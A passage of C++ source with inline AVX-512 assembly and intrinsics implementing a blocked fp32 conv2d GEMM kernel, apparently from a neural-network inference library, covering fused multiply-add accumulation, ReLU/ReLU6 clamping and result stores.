11\\n vfmadd231ps ((0 + 11 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm11\\n .endif\\n\"\n        \".if HW_LEN > 12\\n vfmadd231ps ((0 + 12 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm12\\n .endif\\n\"\n        \".if HW_LEN > 13\\n vfmadd231ps ((0 + 13 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm13\\n .endif\\n\"\n        \".if HW_LEN > 14\\n vfmadd231ps ((0 + 14 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm14\\n .endif\\n\"\n        \".if HW_LEN > 15\\n vfmadd231ps ((0 + 15 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm15\\n .endif\\n\"\n        \".if HW_LEN > 16\\n vfmadd231ps ((0 + 16 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm16\\n .endif\\n\"\n        \".if HW_LEN > 17\\n vfmadd231ps ((0 + 17 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm17\\n .endif\\n\"\n        \".if HW_LEN > 18\\n vfmadd231ps ((0 + 18 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm18\\n .endif\\n\"\n        \".if HW_LEN > 19\\n vfmadd231ps ((0 + 19 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm19\\n .endif\\n\"\n        \".if HW_LEN > 20\\n vfmadd231ps ((0 + 20 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm20\\n .endif\\n\"\n        \".if HW_LEN > 21\\n vfmadd231ps ((0 + 21 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm21\\n .endif\\n\"\n        \".if HW_LEN > 22\\n vfmadd231ps ((0 + 22 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm22\\n .endif\\n\"\n        \".if HW_LEN > 23\\n vfmadd231ps ((0 + 23 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm23\\n .endif\\n\"\n        \".if HW_LEN > 24\\n vfmadd231ps ((0 + 24 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm24\\n .endif\\n\"\n        \".if HW_LEN > 25\\n vfmadd231ps ((0 + 25 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm25\\n .endif\\n\"\n        \".if HW_LEN > 26\\n vfmadd231ps ((0 + 26 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm26\\n .endif\\n\"\n        \".if HW_LEN > 27\\n vfmadd231ps ((0 + 27 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm27\\n .endif\\n\"\n        \".if HW_LEN > 28\\n vfmadd231ps ((0 + 28 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm28\\n .endif\\n\"\n        \".if HW_LEN > 29\\n vfmadd231ps ((0 + 29 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm29\\n .endif\\n\"\n        \".if HW_LEN > 30\\n vfmadd231ps ((0 + 30 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm30\\n .endif\\n\"\n        \"lea D_BYTES(%%rax), %%rax\\n\"\n        \"sub $1, %%r10\\n\"\n        \"cmp $0, %%r10\\n\"\n        \"jne 6b\\n\" // label_ic_remain\n\n\"7:\\n\" // label_finalize_session\n        \"test $(KERNEL_FLAG_RELU | KERNEL_FLAG_RELU6), %%r11\\n\"\n        \"jz 8f\\n\" // label_relu_end\n        \"vpxord %%zmm31, %%zmm31, %%zmm31\\n\"\n        \".if HW_LEN > 0\\n vmaxps %%zmm31, %%zmm0, %%zmm0\\n .endif\\n\"\n        \".if HW_LEN > 1\\n vmaxps %%zmm31, %%zmm1, %%zmm1\\n .endif\\n\"\n        \".if HW_LEN > 2\\n vmaxps %%zmm31, %%zmm2, %%zmm2\\n .endif\\n\"\n        \".if HW_LEN > 3\\n vmaxps %%zmm31, %%zmm3, %%zmm3\\n .endif\\n\"\n        \".if HW_LEN > 4\\n vmaxps %%zmm31, %%zmm4, %%zmm4\\n .endif\\n\"\n        \".if HW_LEN > 5\\n vmaxps %%zmm31, %%zmm5, %%zmm5\\n .endif\\n\"\n        \".if HW_LEN > 6\\n vmaxps %%zmm31, %%zmm6, %%zmm6\\n .endif\\n\"\n        \".if HW_LEN > 7\\n vmaxps %%zmm31, %%zmm7, %%zmm7\\n .endif\\n\"\n        \".if HW_LEN > 8\\n vmaxps %%zmm31, %%zmm8, %%zmm8\\n .endif\\n\"\n        \".if HW_LEN > 9\\n vmaxps %%zmm31, %%zmm9, %%zmm9\\n .endif\\n\"\n        \".if HW_LEN > 10\\n vmaxps %%zmm31, %%zmm10, %%zmm10\\n .endif\\n\"\n        \".if HW_LEN > 11\\n vmaxps %%zmm31, %%zmm11, %%zmm11\\n .endif\\n\"\n        \".if HW_LEN > 12\\n vmaxps %%zmm31, %%zmm12, %%zmm12\\n .endif\\n\"\n        \".if HW_LEN > 13\\n vmaxps %%zmm31, %%zmm13, %%zmm13\\n .endif\\n\"\n        \".if HW_LEN > 14\\n vmaxps %%zmm31, %%zmm14, %%zmm14\\n .endif\\n\"\n        \".if HW_LEN > 15\\n vmaxps %%zmm31, %%zmm15, %%zmm15\\n .endif\\n\"\n        \".if HW_LEN > 16\\n vmaxps %%zmm31, %%zmm16, %%zmm16\\n .endif\\n\"\n        \".if HW_LEN > 17\\n vmaxps %%zmm31, %%zmm17, %%zmm17\\n .endif\\n\"\n        \".if HW_LEN > 18\\n vmaxps %%zmm31, %%zmm18, %%zmm18\\n .endif\\n\"\n        \".if HW_LEN > 19\\n vmaxps %%zmm31, %%zmm19, %%zmm19\\n .endif\\n\"\n        \".if HW_LEN > 20\\n vmaxps %%zmm31, %%zmm20, %%zmm20\\n .endif\\n\"\n        \".if HW_LEN > 21\\n vmaxps %%zmm31, %%zmm21, %%zmm21\\n .endif\\n\"\n        \".if HW_LEN > 22\\n vmaxps %%zmm31, %%zmm22, %%zmm22\\n .endif\\n\"\n        \".if HW_LEN > 23\\n vmaxps %%zmm31, %%zmm23, %%zmm23\\n .endif\\n\"\n        \".if HW_LEN > 24\\n vmaxps %%zmm31, %%zmm24, %%zmm24\\n .endif\\n\"\n        \".if HW_LEN > 25\\n vmaxps %%zmm31, %%zmm25, %%zmm25\\n .endif\\n\"\n        \".if HW_LEN > 26\\n vmaxps %%zmm31, %%zmm26, %%zmm26\\n .endif\\n\"\n        \".if HW_LEN > 27\\n vmaxps %%zmm31, %%zmm27, %%zmm27\\n .endif\\n\"\n        \".if HW_LEN > 28\\n vmaxps %%zmm31, %%zmm28, %%zmm28\\n .endif\\n\"\n        \".if HW_LEN > 29\\n vmaxps %%zmm31, %%zmm29, %%zmm29\\n .endif\\n\"\n        \".if HW_LEN > 30\\n vmaxps %%zmm31, %%zmm30, %%zmm30\\n .endif\\n\"\n        \"test $KERNEL_FLAG_RELU6, %%r11\\n\"\n        \"jz 8f\\n\" // label_relu_end\n        \"vbroadcastss (%[six]), %%zmm31\\n\"\n        \".if HW_LEN > 0\\n vminps %%zmm31, %%zmm0, %%zmm0\\n .endif\\n\"\n        \".if HW_LEN > 1\\n vminps %%zmm31, %%zmm1, %%zmm1\\n .endif\\n\"\n        \".if HW_LEN > 2\\n vminps %%zmm31, %%zmm2, %%zmm2\\n .endif\\n\"\n        \".if HW_LEN > 3\\n vminps %%zmm31, %%zmm3, %%zmm3\\n .endif\\n\"\n        \".if HW_LEN > 4\\n vminps %%zmm31, %%zmm4, %%zmm4\\n .endif\\n\"\n        \".if HW_LEN > 5\\n vminps %%zmm31, %%zmm5, %%zmm5\\n .endif\\n\"\n        \".if HW_LEN > 6\\n vminps %%zmm31, %%zmm6, %%zmm6\\n .endif\\n\"\n        \".if HW_LEN > 7\\n vminps %%zmm31, %%zmm7, %%zmm7\\n .endif\\n\"\n        \".if HW_LEN > 8\\n vminps %%zmm31, %%zmm8, %%zmm8\\n .endif\\n\"\n        \".if HW_LEN > 9\\n vminps %%zmm31, %%zmm9, %%zmm9\\n .endif\\n\"\n        \".if HW_LEN > 10\\n vminps %%zmm31, %%zmm10, %%zmm10\\n .endif\\n\"\n        \".if HW_LEN > 11\\n vminps %%zmm31, %%zmm11, %%zmm11\\n .endif\\n\"\n        \".if HW_LEN > 12\\n vminps %%zmm31, %%zmm12, %%zmm12\\n .endif\\n\"\n        \".if HW_LEN > 13\\n vminps %%zmm31, %%zmm13, %%zmm13\\n .endif\\n\"\n        \".if HW_LEN > 14\\n vminps %%zmm31, %%zmm14, %%zmm14\\n .endif\\n\"\n        \".if HW_LEN > 15\\n vminps %%zmm31, %%zmm15, %%zmm15\\n .endif\\n\"\n        \".if HW_LEN > 16\\n vminps %%zmm31, %%zmm16, %%zmm16\\n .endif\\n\"\n        \".if HW_LEN > 17\\n vminps %%zmm31, %%zmm17, %%zmm17\\n .endif\\n\"\n        \".if HW_LEN > 18\\n vminps %%zmm31, %%zmm18, %%zmm18\\n .endif\\n\"\n        \".if HW_LEN > 19\\n vminps %%zmm31, %%zmm19, %%zmm19\\n .endif\\n\"\n        \".if HW_LEN > 20\\n vminps %%zmm31, %%zmm20, %%zmm20\\n .endif\\n\"\n        \".if HW_LEN > 21\\n vminps %%zmm31, %%zmm21, %%zmm21\\n .endif\\n\"\n        \".if HW_LEN > 22\\n vminps %%zmm31, %%zmm22, %%zmm22\\n .endif\\n\"\n        \".if HW_LEN > 23\\n vminps %%zmm31, %%zmm23, %%zmm23\\n .endif\\n\"\n        \".if HW_LEN > 24\\n vminps %%zmm31, %%zmm24, %%zmm24\\n .endif\\n\"\n        \".if HW_LEN > 25\\n vminps %%zmm31, %%zmm25, %%zmm25\\n .endif\\n\"\n        \".if HW_LEN > 26\\n vminps %%zmm31, %%zmm26, %%zmm26\\n .endif\\n\"\n        \".if HW_LEN > 27\\n vminps %%zmm31, %%zmm27, %%zmm27\\n .endif\\n\"\n        \".if HW_LEN > 28\\n vminps %%zmm31, %%zmm28, %%zmm28\\n .endif\\n\"\n        \".if HW_LEN > 29\\n vminps %%zmm31, %%zmm29, %%zmm29\\n .endif\\n\"\n        \".if HW_LEN > 30\\n vminps %%zmm31, %%zmm30, %%zmm30\\n .endif\\n\"\n\"8:\\n\"\n        \".if NT_STORE\\n\"\n        \".if HW_LEN > 0\\n vmovntps %%zmm0, (0 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 1\\n vmovntps %%zmm1, (1 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 2\\n vmovntps %%zmm2, (2 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 3\\n vmovntps %%zmm3, (3 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 4\\n vmovntps %%zmm4, (4 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 5\\n vmovntps %%zmm5, (5 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 6\\n vmovntps %%zmm6, (6 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 7\\n vmovntps %%zmm7, (7 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 8\\n vmovntps %%zmm8, (8 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 9\\n vmovntps %%zmm9, (9 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 10\\n vmovntps %%zmm10, (10 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 11\\n vmovntps %%zmm11, (11 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 12\\n vmovntps %%zmm12, (12 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 13\\n vmovntps %%zmm13, (13 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 14\\n vmovntps %%zmm14, (14 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 15\\n vmovntps %%zmm15, (15 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 16\\n vmovntps %%zmm16, (16 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 17\\n vmovntps %%zmm17, (17 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 18\\n vmovntps %%zmm18, (18 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 19\\n vmovntps %%zmm19, (19 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 20\\n vmovntps %%zmm20, (20 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 21\\n vmovntps %%zmm21, (21 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 22\\n vmovntps %%zmm22, (22 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 23\\n vmovntps %%zmm23, (23 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 24\\n vmovntps %%zmm24, (24 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 25\\n vmovntps %%zmm25, (25 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 26\\n vmovntps %%zmm26, (26 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 27\\n vmovntps %%zmm27, (27 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 28\\n vmovntps %%zmm28, (28 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 29\\n vmovntps %%zmm29, (29 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 30\\n vmovntps %%zmm30, (30 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".else\\n\"\n        \".if HW_LEN > 0\\n vmovups %%zmm0, (0 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 1\\n vmovups %%zmm1, (1 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 2\\n vmovups %%zmm2, (2 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 3\\n vmovups %%zmm3, (3 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 4\\n vmovups %%zmm4, (4 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 5\\n vmovups %%zmm5, (5 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 6\\n vmovups %%zmm6, (6 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 7\\n vmovups %%zmm7, (7 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 8\\n vmovups %%zmm8, (8 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 9\\n vmovups %%zmm9, (9 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 10\\n vmovups %%zmm10, (10 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 11\\n vmovups %%zmm11, (11 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 12\\n vmovups %%zmm12, (12 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 13\\n vmovups %%zmm13, (13 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 14\\n vmovups %%zmm14, (14 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 15\\n vmovups %%zmm15, (15 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 16\\n vmovups %%zmm16, (16 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 17\\n vmovups %%zmm17, (17 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 18\\n vmovups %%zmm18, (18 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 19\\n vmovups %%zmm19, (19 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 20\\n vmovups %%zmm20, (20 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 21\\n vmovups %%zmm21, (21 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 22\\n vmovups %%zmm22, (22 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 23\\n vmovups %%zmm23, (23 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 24\\n vmovups %%zmm24, (24 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 25\\n vmovups %%zmm25, (25 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 26\\n vmovups %%zmm26, (26 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 27\\n vmovups %%zmm27, (27 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 28\\n vmovups %%zmm28, (28 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 29\\n vmovups %%zmm29, (29 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".if HW_LEN > 30\\n vmovups %%zmm30, (30 * CH_DT_BLK * D_BYTES)(%%r14)\\n .endif\\n\"\n        \".endif\\n\"\n        \"sub $HW_LEN, %%r15\\n\"\n        \"cmp $0, %%r15\\n\"\n        \"lea (HW_LEN * CH_DT_BLK * D_BYTES)(%%r12), %%r12\\n\"\n        \"lea (HW_LEN * CH_DT_BLK * D_BYTES)(%%r13), %%r13\\n\"\n        \"lea (HW_LEN * CH_DT_BLK * D_BYTES)(%%r14), %%r14\\n\"\n        \"jne 1b\\n\" // label_init_session\n        :\n        :\n        [priv_param]                  \"r\" (priv_param),\n        [shar_param]                  \"r\" (shar_param),\n        [six]                         \"r\" (six),\n        [NT_STORE]                    \"i\" (nt_store),\n        [HW_LEN]                      \"i\" (hw_len),\n        [KERNEL_FLAG_LD_BIAS]         \"i\" (KERNEL_FLAG_LD_BIAS()),\n        [KERNEL_FLAG_AD_BIAS]         \"i\" (KERNEL_FLAG_AD_BIAS()),\n        [KERNEL_FLAG_RELU]            \"i\" (KERNEL_FLAG_RELU()),\n        [KERNEL_FLAG_RELU6]           \"i\" (KERNEL_FLAG_RELU6())\n        :\n        \"cc\",\n        \"rax\", \"rbx\", \"rcx\", \"r8\", \"r9\", \"r10\", \"r11\", \"r12\", \"r13\", \"r14\", \"r15\",\n        \"zmm0\" , \"zmm1\" , \"zmm2\" , \"zmm3\" , \"zmm4\" , \"zmm5\" , \"zmm6\" , \"zmm7\" ,\n        \"zmm8\" , \"zmm9\" , \"zmm10\", \"zmm11\", \"zmm12\", \"zmm13\", \"zmm14\", \"zmm15\",\n        \"zmm16\", \"zmm17\", \"zmm18\", \"zmm19\", \"zmm20\", \"zmm21\", \"zmm22\", \"zmm23\",\n        \"zmm24\", \"zmm25\", \"zmm26\", \"zmm27\", \"zmm28\", \"zmm29\", \"zmm30\", \"zmm31\",\n        \"memory\"\n    );\n}\n\n#endif\n\ntemplate <bool nt_store, int32_t oc_len, int32_t hw_len>\nvoid conv2d_n16cx_gemm_direct_fp32_avx512_blk1x31_kernel(\n    const int64_t *priv_param,\n    const int64_t *shar_param)\n{\n#ifdef PPL_USE_X86_INLINE_ASM\n    if (oc_len == 1 * CH_DT_BLK()) {\n        conv2d_n16cx_gemm_direct_fp32_avx512_blk1x31_kernel_core<nt_store, hw_len>(priv_param, shar_param);\n        return;\n    }\n#endif\n\n#define IC_COMPUTE_STEP(IC) do {\\\n    zmm31 = _mm512_loadu_ps(ic_flt + (IC) * CH_DT_BLK());\\\n    if (hw_len > 0) zmm0 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 0 * CH_DT_BLK()]), zmm31, zmm0);\\\n    if (hw_len > 1) zmm1 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 1 * CH_DT_BLK()]), zmm31, zmm1);\\\n    if (hw_len > 2) zmm2 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 2 * CH_DT_BLK()]), zmm31, zmm2);\\\n    if (hw_len > 3) zmm3 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 3 * CH_DT_BLK()]), zmm31, zmm3);\\\n    if (hw_len > 4) zmm4 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 4 * CH_DT_BLK()]), zmm31, zmm4);\\\n    if (hw_len > 5) zmm5 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 5 * CH_DT_BLK()]), zmm31, zmm5);\\\n    if (hw_len > 6) zmm6 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 6 * CH_DT_BLK()]), zmm31, zmm6);\\\n    if (hw_len > 7) zmm7 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 7 * CH_DT_BLK()]), zmm31, zmm7);\\\n    if (hw_len > 8) zmm8 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 8 * CH_DT_BLK()]), zmm31, zmm8);\\\n    if (hw_len > 9) zmm9 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 9 * CH_DT_BLK()]), zmm31, zmm9);\\\n    if (hw_len > 10) zmm10 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 10 * CH_DT_BLK()]), zmm31, zmm10);\\\n    if (hw_len > 11) zmm11 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 11 * CH_DT_BLK()]), zmm31, zmm11);\\\n    if (hw_len > 12) zmm12 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 12 * CH_DT_BLK()]), zmm31, zmm12);\\\n    if (hw_len > 13) zmm13 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 13 * CH_DT_BLK()]), zmm31, zmm13);\\\n    if (hw_len > 14) zmm14 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 14 * CH_DT_BLK()]), zmm31, zmm14);\\\n    if (hw_len > 15) zmm15 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 15 * CH_DT_BLK()]), zmm31, zmm15);\\\n    if (hw_len > 16) zmm16 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 16 * CH_DT_BLK()]), zmm31, zmm16);\\\n    if (hw_len > 17) zmm17 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 17 * CH_DT_BLK()]), zmm31, zmm17);\\\n    if (hw_len > 18) zmm18 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 18 * CH_DT_BLK()]), zmm31, zmm18);\\\n    if (hw_len > 19) zmm19 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 19 * CH_DT_BLK()]), zmm31, zmm19);\\\n    if (hw_len > 20) zmm20 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 20 * CH_DT_BLK()]), zmm31, zmm20);\\\n    if (hw_len > 21) zmm21 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 21 * CH_DT_BLK()]), zmm31, zmm21);\\\n    if (hw_len > 22) zmm22 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 22 * CH_DT_BLK()]), zmm31, zmm22);\\\n    if (hw_len > 23) zmm23 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 23 * CH_DT_BLK()]), zmm31, zmm23);\\\n    if (hw_len > 24) zmm24 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 24 * CH_DT_BLK()]), zmm31, zmm24);\\\n    if (hw_len > 25) zmm25 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 25 * CH_DT_BLK()]), zmm31, zmm25);\\\n    if (hw_len > 26) zmm26 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 26 * CH_DT_BLK()]), zmm31, zmm26);\\\n    if (hw_len > 27) zmm27 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 27 * CH_DT_BLK()]), zmm31, zmm27);\\\n    if (hw_len > 28) zmm28 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 28 * CH_DT_BLK()]), zmm31, zmm28);\\\n    if (hw_len > 29) zmm29 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 29 * CH_DT_BLK()]), zmm31, zmm29);\\\n    if (hw_len > 30) zmm30 = _mm512_fmadd_ps(_mm512_set1_ps(ic_src[(IC) + 30 * CH_DT_BLK()]), zmm31, zmm30);\\\n} while (0)\n\n    __m512 zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7;\n    __m512 zmm8, zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15;\n    __m512 zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23;\n    __m512 zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31;\n\n    const int64_t src_icb_stride = shar_param[SRC_ICB_STRIDE_IDX()];\n    const int64_t kernel_flags = shar_param[FLAGS_IDX()];\n\n    const float *src = PICK_PARAM(const float*, priv_param, SRC_IDX());\n    const float *his = PICK_PARAM(const float*, priv_param, HIS_IDX());\n    float *dst       = PICK_PARAM(float*, priv_param, DST_IDX());\n    int64_t hw       = priv_param[HW_IDX()];\n    do {\n        if (kernel_flags & KERNEL_FLAG_LD_BIAS()) {\n            const float* bias = PICK_PARAM(const float*, priv_param, BIAS_IDX());\n            if (oc_len > 0 * CH_DT_BLK()) {\n                if (hw_len > 0) zmm0 = _mm512_loadu_ps(bias + 0 * CH_DT_BLK());\n                if (hw_len > 1) zmm1 = zmm0;\n                if (hw_len > 2) zmm2 = zmm0;\n                if (hw_len > 3) zmm3 = zmm0;\n                if (hw_len > 4) zmm4 = zmm0;\n                if (hw_len > 5) zmm5 = zmm0;\n                if (hw_len > 6) zmm6 = zmm0;\n                if (hw_len > 7) zmm7 = zmm0;\n                if (hw_len > 8) zmm8 = zmm0;\n                if (hw_len > 9) zmm9 = zmm0;\n                if (hw_len > 10) zmm10 = zmm0;\n                if (hw_len > 11) zmm11 = zmm0;\n                if (hw_len > 12) zmm12 = zmm0;\n                if (hw_len > 13) zmm13 = zmm0;\n                if (hw_len > 14) zmm14 = zmm0;\n                if (hw_len > 15) zmm15 = zmm0;\n                if (hw_len > 16) zmm16 = zmm0;\n                if (hw_len > 17) zmm17 = zmm0;\n                if (hw_len > 18) zmm18 = zmm0;\n                if (hw_len > 19) zmm19 = zmm0;\n                if (hw_len > 20) zmm20 = zmm0;\n                if (hw_len > 21) zmm21 = zmm0;\n                if (hw_len > 22) zmm22 = zmm0;\n                if (hw_len > 23) zmm23 = zmm0;\n                if (hw_len > 24) zmm24 = zmm0;\n                if (hw_len > 25) zmm25 = zmm0;\n                if (hw_len > 26) zmm26 = zmm0;\n                if (hw_len > 27) zmm27 = zmm0;\n                if (hw_len > 28) zmm28 = zmm0;\n                if (hw_len > 29) zmm29 = zmm0;\n                if (hw_len > 30) zmm30 = zmm0;\n            }\n        } else {\n            const float *l_his = his;\n            if (oc_len > 0 * CH_DT_BLK()) {\n                if (hw_len > 0) zmm0 = _mm512_loadu_ps(l_his + 0 * CH_DT_BLK());\n                if (hw_len > 1) zmm1 = _mm512_loadu_ps(l_his + 1 * CH_DT_BLK());\n                if (hw_len > 2) zmm2 = _mm512_loadu_ps(l_his + 2 * CH_DT_BLK());\n                if (hw_len > 3) zmm3 = _mm512_loadu_ps(l_his + 3 * CH_DT_BLK());\n                if (hw_len > 4) zmm4 = _mm512_loadu_ps(l_his + 4 * CH_DT_BLK());\n                if (hw_len > 5) zmm5 = _mm512_loadu_ps(l_his + 5 * CH_DT_BLK());\n                if (hw_len > 6) zmm6 = _mm512_loadu_ps(l_his + 6 * CH_DT_BLK());\n                if (hw_len > 7) zmm7 = 